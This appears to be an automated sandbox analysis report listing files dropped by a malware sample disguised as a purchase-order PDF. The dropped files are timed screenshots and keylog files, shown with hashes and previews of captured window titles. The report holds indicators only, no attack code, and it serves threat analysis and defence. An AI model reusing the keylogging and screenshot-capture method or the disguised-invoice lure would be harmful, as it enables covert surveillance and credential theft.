Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\update_232107.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\update_232107.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4x84qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4j:MIHK5HKXE1qHxviYHKhQnoPtHoxHhAHY
MD5:	69206D3AF7D6EFD08F4B4726998856D3
SHA1:	E778D4BF781F7712163CF5E2F5E7C15953E484CF
SHA-256:	A937AD22F9C3E667A062BA0E116672960CD93522F6997C77C00370755929BA87
SHA-512:	CD270C3DF75E548C9B0727F13F44F45262BD474336E89AAEBE56FABFE8076CD4638F88D3C0837B67C2EB3C54055679B07E4212FB3FEDBF88C015EB5DBBCD7FF8
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

C:\Users\user\AppData\Local\Temp\2023-02-21-07-45-40-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	71743
Entropy (8bit):	7.827677304830724
Encrypted:	false
SSDEEP:	1536:FSsE2bBOJnxFqK4fDTEY99uTfeQrb9nqkIEipCDVcswMzYm:csE2cFp4bT7juzeeRJVcvMzYm
MD5:	1B039FCF9488A3DDFCF51C5F6F39986F
SHA1:	2026346D7E6E72A4A7A330B65AF5CF194D21DB81
SHA-256:	710F08B8E9D1CBF9930BC9CF7CB3299B34BFD6FDC66A534DE61CDCE143B85248
SHA-512:	8F02D458614A2F4690B784EF8D01FFC0D104AF5B8777003799C4CF022D8FB6491C7E67EFF130C9ADEC22F1184CFD63661F62FCB03E027DAA126AC7683BEC4C31
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^.....ga/.+.;.....$....&.~.\|.....b.%a....PB..d....IBP.@..Y......dY.l-.,Y...+.c....l...............t.U.==.Su..%........?9,y.S.../....f./<./?...Y~.Y.........t..n....y....+...7]\n\.....gM.d....,..gL.......O..c.+.y.G.../..G?..O=...K.*.~L.;,...$7.l2ly.~v.....S..a?.}.....M.S..d...nc...5...4s..x....o....'...G..2K~..[.....v.........&...In.Hzlf........??..2...9f..Z...v6......a.._+.._,^w.....;.Q.....a~......,...L.M...o...e~.9ez........@...=./K.._}.`....$........[.....j......d.y.......L...%s...=n...L.S..d....{u..}..K......6../..E#%.;u........_n....o.t.....wx_~ii..}.............2.J<.I..yq...:)..L..........2........Q..[...V..%..;....}Ln.\r..O.:.\|...4..3..i3..z6...p.$.O...).b........W.3fS...n........x@M...S.6.;..f.......[../F.8N.c3... .g`}..i........$.7J....9...`..O7..!Q..'W.M.......%.h..~.N..s..=..-.^R...........K....'.../...;.1.i..._.o.a.s......

C:\Users\user\AppData\Local\Temp\2023-02-21-07-46-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.251221176393431
Encrypted:	false
SSDEEP:	3:yIeDKAmI:yI87
MD5:	5CEB1F8FA59C5C367F6F20CD2E156D83
SHA1:	1C852B127B25922642C8296CDA9CD1A0CFEE169C
SHA-256:	471C8C0A67D346D0348E56AF4C95C69C25452EC8ACAAECFA7094598E609CE092
SHA-512:	147558151E3B982D95FD0B7F5B3ADBD028C2CA97EC4A610DD1F5BD81E535F014276C4F3607A7A086484DA01B706ACB49843F551E5CC1809984D086FCCEE9B25B
Malicious:	false
Preview:	.[ Program Manager - 2/21/2023 7:37:06 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-07-50-30-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50887
Entropy (8bit):	7.598481397967656
Encrypted:	false
SSDEEP:	768:upOmOZxHhXjOkZzd4SuKtmv5JRut7SeQk1gOaxf4Cb7z0DjN/PaGmhe:sCxBXiKaS7mMt7S5k1gOOHnaNX0s
MD5:	78734A654A227AE7BF3D82F601A10087
SHA1:	6BB0572EFB48FAF1E06AB8D00CCDC74FA0238D46
SHA-256:	87FB5659985B439B88A47A8F3356A98721EC854785012B570FE1F7AB49D70365
SHA-512:	4DADEED97D5BFD9C3CE55A2BADAAA6E5AF170C6436AA35D7ED2C1E6A6F91BF2D6F5D13D8C2993C3E6F0AB5A8E1CB161E7F7417005C33EBDB4BC47C967A42FC8A
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...\IDATx^....lYY'.&u.{..7..u..[.U....uK.P.&3E.^I.i.R...R.A...).BE...l..SK..[H'.J.fBf.B6$...^\|k.....3bwg.<g..o.?k.9..f.....>...>..{.........'.~....>.k..'..h.......>y..}....e>....7...__....7.q......2.6.\|..}.......;l..o...%.....X\|.\|.....-/._....+...Q..s..o..ez.x...c.q....Jo.6...\|.^.......9...a.........}..}...>6.isn.1.a.E...u.....&.}.....j.c\|...>F.9V.%..k........X......s...5.{kM..pZ....s...?wGI......(...L?...'.~gX.O.....w......9.\|.9..v.^t.O.d..\|.Z...-.....O..#.3..r.O....7....7.\...O....)...x.l.Y......-.z...Qr..........3....+{......Y..t....{.AY..r.t?...?.,~......S....I.5.....\|....).....D.{P.v....m/...v..r......p..=..=...Z.;o..+....c...;.".{.....d.....;f..yN..c>..(.)...2~...N./.....o~.k.....k.7s.....t&.P.......g....)....,...._D..$...X.......5......#..g%..Q....~.r..`..g....Q.\O..wP...XV./...C...zP.>..>.....O%.....r......,.[...../..w.#...d......p

C:\Users\user\AppData\Local\Temp\2023-02-21-07-51-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.702471512219747
Encrypted:	false
SSDEEP:	3:yQT7:yQ/
MD5:	4822A221BE33E4F2CE363BB6DF3B26CD
SHA1:	2731DC9FC3666B3BE22E0396EFE8667EB4A4973B
SHA-256:	3FB0A3C70AEA50B0ADA5DA30646DF27E6CB69B0350DB9532F0B2684DF13AB246
SHA-512:	885E83BB026D1030C5F947718AEE591E9772BB6A971B40C813859D5C61028E18610A1782A01FA4EA8DB0D828581F06770BE54CF37C9FCF10439D9326B3E8007A
Malicious:	false
Preview:	.[ - 2/21/2023 7:49:14 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-07-55-39-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	86863
Entropy (8bit):	7.680993676547892
Encrypted:	false
SSDEEP:	1536:t8Nv10e9i2fDDekryITO+SIkGW3FqPJ3BFujpyRFh9:ts1f02fHPry7F1qPJRFQp8
MD5:	CC0736921954DFBE5585C96EC1F0D6A6
SHA1:	A474F24829A1E6F81AC6A4E9F681924A1F6D0BEB
SHA-256:	BABE1C78B86434FADC0A959C107E9610EA7A58C0EF7D4E63265B25E8B2AB921F
SHA-512:	C90E200A33FEC507ED032F605404B974DFAF64E89407BF6BB9B0DF154DE3FF2CD1F6322AC6D32B88819DCB79A07144AF682DF513AA0B1327F5905D1D177B1778
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....l.^.y^.?.RlH..Y.Uef.XZHjUYU?..!.........J.."J...h.^............jc........[......D.~..~.....v...3b..{...#.....\|.s..E~..Q>.;.0.....a.?.3..].p-........"..%k............\|......Y.....Y.g.m\|.z~...8......y..\|..:...v.../.......\|..}x.~..\|....s~............]....N\|.\'.....2.c.d>.s/q..]....D....].#....r.....Y.....u[...........A>....\|....cl{...{".........&...q..Z...-..^d...w\|a..?[..~..].e....>[.D>....".....n\....M..7.f.w.-.s~........o./...o..... ...v.].9_.G.s>.....\|......f...]!.u^!.....F.sg~..-...K...........5..N...(.s.Y]..u}.\|..].........\|........_7....g...L.(k}.......N.........q?...y.. .sr...z=Z......F.6p...z...E..{...R.......-7\>.;4.w..7...\|.6...i..5...n...-.y}.-{79....._.g...0...(.Q..8.... x.........>."'.:.@.....S.b.....?...\.Vs...`X......M.....q=..Lw....w.....7.f...-...@.o.e(........\|....e....,.T\|...e..r.x.....I.......>.g.Z..-.9...........

C:\Users\user\AppData\Local\Temp\2023-02-21-07-56-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.7183020582551425
Encrypted:	false
SSDEEP:	3:yRZjL0p8zFDuWceF:yRZ30qpiWceF
MD5:	AB056A62F93302BBE8B37FE1B51C41F4
SHA1:	A36023549C6E66A4658FC923F7246F06E3B90134
SHA-256:	0EC14F0A062E5752A23F6E89A843651EC018B3B9FC443AAEDED4316F88C07A09
SHA-512:	8791977752C97EC24F10E4199E9F5D48CC24B8385AB1B3C60FA058C533825F7155576AA0F8C84C74C02BAF1402EBFF9C45977541F48F1FB9F583F512FB96EC74
Malicious:	false
Preview:	.[ Microsoft .NET Framework - 2/21/2023 7:55:39 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-06-22-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	76251
Entropy (8bit):	7.7496534576516085
Encrypted:	false
SSDEEP:	1536:DoyCaw3zsqhRBwDQZFfKxQaIjLK86AnGdVIjVxi2qrRTy80y:DoV3zsgRBwDAFi+ad8VFjVsn0y
MD5:	7F2F81A526DCE3D78EC92288131B19C2
SHA1:	42ACD5CF3D6FAD6E31E832981E42A0D28DFCE2F2
SHA-256:	857BC5D20F634C560DD0D6832C97B4C6F008417DAD541B4973F5303876851A03
SHA-512:	6436428943125EACB98F0FFB0EA83ACF0B748D344796DEC94F19605387383169155828AEC8A1E5D2BD4FE63D819A397A48E44E23D6B028BA83E141AD30F6D500
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..y.\e......A! :..:..\|G.[.@.........Q.....].$.1 ....a..@H ...Jg..B..$l!,.~~.s...s.uj..:..\|<.T..NUu.y...w\|T..y`!.....w...a`.C....M.M.>.......D....G...8.;.\|...d...d...ru.G$.GV.3...9......wG.E....f...>w..h.....)y.GL...m..<.6.<..-..t;....I.-.<.8..Xe.......%4..o.7....w.cq.o...\U.x...N...n...y..#&oz..3i.......z...?.8....kh..7.-..q.M.b_.))Y.7.....L.Ot[.....w9.......n.....~V..wG..Y...C.'.;J..gz..wG.3Di{Ow...8B.O.....G.....{......}.%...d...N..b.9..\Z.......).\|..,......8..>.................{.MB.I........_>.e....$.y..G.....@..J.._.....r~.{..{..;.......]94.....l?.eG..{Mh.PB.6&..@..8(8M.v.5Y1=\|..SR.Q.V.3}./...Oc.@......=.=)......S..T..T.....`z....,[.@[..}.....M.}..\| &S.>o.[.Q....`.$.;J....:......O.j...{..\.......B.oH....O....gx"q..zN.4M^.v'..5.i+.../..O..r~.{..{..;.......]94.....l?.eG..{Mh.PB.6&..@..h.....$.?M..}7...r?p....F..............l...(.E?`..~.....G.Em..

C:\Users\user\AppData\Local\Temp\2023-02-21-08-06-23-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	72165
Entropy (8bit):	7.819574810071186
Encrypted:	false
SSDEEP:	1536:FSsE2bBOJnxFqK4fDTEY99uTfeQrQjzsBVvpLWDd8Vw1qF2Kp:csE2cFp4bT7juzeeQjmLEfqgKp
MD5:	86E94CA363ACB6F2DA96CC1874020046
SHA1:	3A8A82729A0F07CE5235F541D760A404FD9EE65A
SHA-256:	F686ABC687343035C7779EA6201E05937FA6822986DCC9D219BC892514FC6786
SHA-512:	A9273B93968FB230774ABC6724839A0FF885D294D6F3F713A95029F0CC7FC2364DAEAEE80B271C885A6336FB888AFC52D796EC7EA76F18B73D2F9D379AFB8715
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^.....ga/.+.;.....$....&.~.\|.....b.%a....PB..d....IBP.@..Y......dY.l-.,Y...+.c....l...............t.U.==.Su..%........?9,y.S.../....f./<./?...Y~.Y.........t..n....y....+...7]\n\.....gM.d....,..gL.......O..c.+.y.G.../..G?..O=...K.*.~L.;,...$7.l2ly.~v.....S..a?.}.....M.S..d...nc...5...4s..x....o....'...G..2K~..[.....v.........&...In.Hzlf........??..2...9f..Z...v6......a.._+.._,^w.....;.Q.....a~......,...L.M...o...e~.9ez........@...=./K.._}.`....$........[.....j......d.y.......L...%s...=n...L.S..d....{u..}..K......6../..E#%.;u........_n....o.t.....wx_~ii..}.............2.J<.I..yq...:)..L..........2........Q..[...V..%..;....}Ln.\r..O.:.\|...4..3..i3..z6...p.$.O...).b........W.3fS...n........x@M...S.6.;..f.......[../F.8N.c3... .g`}..i........$.7J....9...`..O7..!Q..'W.M.......%.h..~.N..s..=..-.^R...........K....'.../...;.1.i..._.o.a.s......

C:\Users\user\AppData\Local\Temp\2023-02-21-08-06-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.858560060031055
Encrypted:	false
SSDEEP:	3:ymsBFcaYgg3PoFwNaIawf4sn:ymUFigg3vahC4s
MD5:	0230B54745CC000D410F43C916F7500F
SHA1:	FAB30F646680C96118E0E2FBBEE5AC6F5B78B9A1
SHA-256:	4AD573FAEAEB10C6CA904DA86C45D4686D2C4F68A8295DDA318D1C3AC3D1D1AA
SHA-512:	E954A98A3A891A12D5C5950DB5DF9C3E51B22478733AC24C75AF6918D06E8D83C75F2F7E38CBE7C175929489FA5C2F4A9A2A8DE4AD92BFE753312C3CB9C6B41D
Malicious:	false
Preview:	.[ REVISED PURCHASE ORDER.HTML - Google Chrome - 2/21/2023 8:06:25 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-10-11-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	51054
Entropy (8bit):	7.608291948724095
Encrypted:	false
SSDEEP:	768:kKaeIT6aNucrOKvOgBRUw+t7c4Y2p8CQLfkIMfSAl/ZyljeR5Gwar/isQ:xiXXvrx4c4Y2p8rL8I0OePGfrbQ
MD5:	1291066BD42CDF57F89A75A2060D9D2F
SHA1:	350B55DEA57F825D84C57224D4CBF6BD4243F788
SHA-256:	93EA8F23E4CAD6DD41A43AEFF5D80D9D3587E8470381EF34309F8A24048A6C66
SHA-512:	66C3D7B2C75E0260A65E5D66831A3ECAD0D29E294FDAC3C10F9CD505D61D2BC6BDB634FBECA30C4DD4F7BA03E92AFD9AEF616D06AFD6F5A8BB5B043C18F67289
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....uYY...9....q...Q.&...{.I....:.F...i..b.E-....F.&.(..}l.J...F=!t.F...(zP..........y.g.=.~.....7...s....{..~..O...O..e>.s.............E.\|....S.z.\|.....r.._..\..?\.....x.z..e......1..p..S..a/....>......}.\|.7....%.....X\|.\|.g..',.........X.....Q..s..o..Uz.x.....q....Jo.6..;\|.2.}B\K...K...Y...9.........'F>s..>.3.\.....0q.8..5..k....LS..7.1R....-.8^...\|......z...&u..=...[k....J.[..n\|....Q...p{..3."k...b..)......S...3.....yc..d...C;~..._6.....>}K...m......y.....D..3....t..B.....i_..x.l.Y......-...-.....p.......3....+..g.u\|..t....{.AY..r.t?...?.,..;TV.W......S?oN.1.M.)..c....Ng..%.A..=_<..e...'..C.._..m9...sh.s^.....w.&.V...&..9.Mw.Ez.>...Ko..~.._..cw..z.9y`..\.f.p..xp.....:.H...7...y0.S.....Q>..'.i<..J-.).n.j.S......,.......IR......z6........(..&............>.(....zz.....xj.{....*.........~....&Y..w....O}._...{Ln.......u.7...z..~...

C:\Users\user\AppData\Local\Temp\2023-02-21-08-11-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.4955749604956092
Encrypted:	false
SSDEEP:	3:yQTfMsY4v:yQTzv
MD5:	121CD5A63C2438E5F3B06B8A4E54C68F
SHA1:	5DCF67D99B6B6F812D2C4101B9C96DCF4C626A7C
SHA-256:	B96A1D5EE8180E91306089A9FA212457AEA9DDA2AF77868EADA9267D8EC62263
SHA-512:	B119FEE0DD1EDAA9233065640128A2797F308A1B726AB26ADED732427486DC37CF58C0E9977931ED3644E25CF2AD36258510CBE963D40E82F1B347F0B0297F7F
Malicious:	false
Preview:	.[ - 2/21/2023 8:10:11 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-12-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.792519955834339
Encrypted:	false
SSDEEP:	3:ymsBFcaYgg3PoFwNaIawfOl:ymUFigg3vahCa
MD5:	D2AF7BA6FF66329882A71FEEAEC56A7A
SHA1:	36F6F02F0DD154E20281F9D42E8321B92F7D4C63
SHA-256:	8E8029C9FD44DC31B61071545E38416AAB45D44CCA205A5CC2260905671D3822
SHA-512:	F6413C3AA66F780E83AD679D2E2935CEB4B0331AE5B6B453C0F834D67453C8B91D16306FD63A530B9976BA1F80458441C648A61D507325F92EF9E997C8DC7EFE
Malicious:	false
Preview:	.[ REVISED PURCHASE ORDER.HTML - Google Chrome - 2/21/2023 8:12:01 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-15-17-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	51054
Entropy (8bit):	7.608291948724095
Encrypted:	false
SSDEEP:	768:kKaeIT6aNucrOKvOgBRUw+t7c4Y2p8CQLfkIMfSAl/ZyljeR5Gwar/isQ:xiXXvrx4c4Y2p8rL8I0OePGfrbQ
MD5:	1291066BD42CDF57F89A75A2060D9D2F
SHA1:	350B55DEA57F825D84C57224D4CBF6BD4243F788
SHA-256:	93EA8F23E4CAD6DD41A43AEFF5D80D9D3587E8470381EF34309F8A24048A6C66
SHA-512:	66C3D7B2C75E0260A65E5D66831A3ECAD0D29E294FDAC3C10F9CD505D61D2BC6BDB634FBECA30C4DD4F7BA03E92AFD9AEF616D06AFD6F5A8BB5B043C18F67289
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....uYY...9....q...Q.&...{.I....:.F...i..b.E-....F.&.(..}l.J...F=!t.F...(zP..........y.g.=.~.....7...s....{..~..O...O..e>.s.............E.\|....S.z.\|.....r.._..\..?\.....x.z..e......1..p..S..a/....>......}.\|.7....%.....X\|.\|.g..',.........X.....Q..s..o..Uz.x.....q....Jo.6..;\|.2.}B\K...K...Y...9.........'F>s..>.3.\.....0q.8..5..k....LS..7.1R....-.8^...\|......z...&u..=...[k....J.[..n\|....Q...p{..3."k...b..)......S...3.....yc..d...C;~..._6.....>}K...m......y.....D..3....t..B.....i_..x.l.Y......-...-.....p.......3....+..g.u\|..t....{.AY..r.t?...?.,..;TV.W......S?oN.1.M.)..c....Ng..%.A..=_<..e...'..C.._..m9...sh.s^.....w.&.V...&..9.Mw.Ez.>...Ko..~.._..cw..z.9y`..\.f.p..xp.....:.H...7...y0.S.....Q>..'.i<..J-.).n.j.S......,.......IR......z6........(..&............>.(....zz.....xj.{....*.........~....&Y..w....O}._...{Ln.......u.7...z..~...

C:\Users\user\AppData\Local\Temp\2023-02-21-08-15-56-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50912
Entropy (8bit):	7.598118075367473
Encrypted:	false
SSDEEP:	768:YWOrFqxXMeYAipY4MxfEH8Se7mrQFtSnxwOsmxVZ3dftwdxDFDp:rORaMeYAPxsVmmr4tcqLmTZNf+xpN
MD5:	92954A99F559066DCB7E6D9E66C11123
SHA1:	7B2778AECB39A299374B63355FCE0D5F2D3A641A
SHA-256:	EF3E88E532AAFFE14B5A98CCEB0EEF72D34A77FD7CC1067A2298972C0D6B5A4A
SHA-512:	FC514E555C38BA9876DE6D00BF3105B477EE5723B28B407E489F252122B95A2365F602B069C50B76FB6AD313712A7EF5D847916A2593A6042CA8841A14E04093
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...uIDATx^....lYY'.&u.{..7..u..[.U....uK.P.&3E.^I.i.R...R.A...).BE...l..SK..[H'.J.fBf.B6$...^\|k.....3bwg.<g..o.....k.&v...e./..c>}..co.........\|.........\|..O..^>.k....w..Y.S...s.z..%.Y..y..w^....).o..g.r.'.i?.../.O..f>...{^.{....l..~..\|.....<~.x....q.%.1.....\.w...m>...Y....o.......k.Y.c..X.6...h...q..\|.O..c#.6.6....\..._g1q.8..s.M...]..>.'Io.c..c%...d.xM...q......c?_..y...<.f~m.i^.N+.".o\|....(i~~.....e....g0.......\.I.......?[..1..6g.....n.L....Y.E..%...6.{.t.<Bn.).{.....{.&....8z>...._..s....y..Y}....6.f/..-?..{...mW......q.z}................Y\|.;T........>kN.19.....c....Ng..%.A..=_<...,..N...A_...........y.g.v.y..Y..w.....6.....Hol/.}O'.5.~..v.1.....9..z7..#...S.....).E...../~.q..`-.f...~1../..R............`...~./..x..{s.l\|C\....Z.S.........(.l\|_?C9q.......(...W.;(..g,...k..{M=(k.A............Ce9~y..k.Z....crVs...............

C:\Users\user\AppData\Local\Temp\2023-02-21-08-15-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.6335059949783677
Encrypted:	false
SSDEEP:	3:yQTfJf3FkYi:yQTJf3FTi
MD5:	4168A42B6CB0D953BF8EE739F50DC677
SHA1:	05742B6A780D84FDF074B25957441B5B48488C91
SHA-256:	CEE952055120E33E360F89C76565F565804DB629E1D118B83A0C2E4FA99D1458
SHA-512:	34C525CD1C4F4079CC447CE80AC66C2EC773A8FD0D351BF27B6581E8FCE88AA398CF20FC2AE89DD695D35BF69FC9E90ECBEC7C6C2676FF2D7176FBA023C28197
Malicious:	false
Preview:	.[ - 2/21/2023 8:15:08 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-16-29-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50912
Entropy (8bit):	7.598118075367473
Encrypted:	false
SSDEEP:	768:YWOrFqxXMeYAipY4MxfEH8Se7mrQFtSnxwOsmxVZ3dftwdxDFDp:rORaMeYAPxsVmmr4tcqLmTZNf+xpN
MD5:	92954A99F559066DCB7E6D9E66C11123
SHA1:	7B2778AECB39A299374B63355FCE0D5F2D3A641A
SHA-256:	EF3E88E532AAFFE14B5A98CCEB0EEF72D34A77FD7CC1067A2298972C0D6B5A4A
SHA-512:	FC514E555C38BA9876DE6D00BF3105B477EE5723B28B407E489F252122B95A2365F602B069C50B76FB6AD313712A7EF5D847916A2593A6042CA8841A14E04093
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...uIDATx^....lYY'.&u.{..7..u..[.U....uK.P.&3E.^I.i.R...R.A...).BE...l..SK..[H'.J.fBf.B6$...^\|k.....3bwg.<g..o.....k.&v...e./..c>}..co.........\|.........\|..O..^>.k....w..Y.S...s.z..%.Y..y..w^....).o..g.r.'.i?.../.O..f>...{^.{....l..~..\|.....<~.x....q.%.1.....\.w...m>...Y....o.......k.Y.c..X.6...h...q..\|.O..c#.6.6....\..._g1q.8..s.M...]..>.'Io.c..c%...d.xM...q......c?_..y...<.f~m.i^.N+.".o\|....(i~~.....e....g0.......\.I.......?[..1..6g.....n.L....Y.E..%...6.{.t.<Bn.).{.....{.&....8z>...._..s....y..Y}....6.f/..-?..{...mW......q.z}................Y\|.;T........>kN.19.....c....Ng..%.A..=_<...,..N...A_...........y.g.v.y..Y..w.....6.....Hol/.}O'.5.~..v.1.....9..z7..#...S.....).E...../~.q..`-.f...~1../..R............`...~./..x..{s.l\|C\....Z.S.........(.l\|_?C9q.......(...W.;(..g,...k..{M=(k.A............Ce9~y..k.Z....crVs...............

C:\Users\user\AppData\Local\Temp\2023-02-21-08-16-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.853138399953788
Encrypted:	false
SSDEEP:	3:ymsBFcaYgg3PoFwNaIawfKbFn:ymUFigg3vahC2
MD5:	8258E86CA70ABBB475067FB475A86856
SHA1:	C4DB9F53F73F12F2C58F3B343D43E98DE590011F
SHA-256:	1DA6DE7CB293525BF3BF26473BF3AAC748467C0084B504EF3B24D3A82A8547CC
SHA-512:	657FBF4CC6A5C863449F357C05A3354F5B916A62A48432E3A92BCB47447FDF132700CD8C5D35DBEE3099D1BBEEE296BBC6C0540EACADB2BEDA53C2F56CD0C3AE
Malicious:	false
Preview:	.[ REVISED PURCHASE ORDER.HTML - Google Chrome - 2/21/2023 8:16:30 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-17-44-screenshot.png

Download File

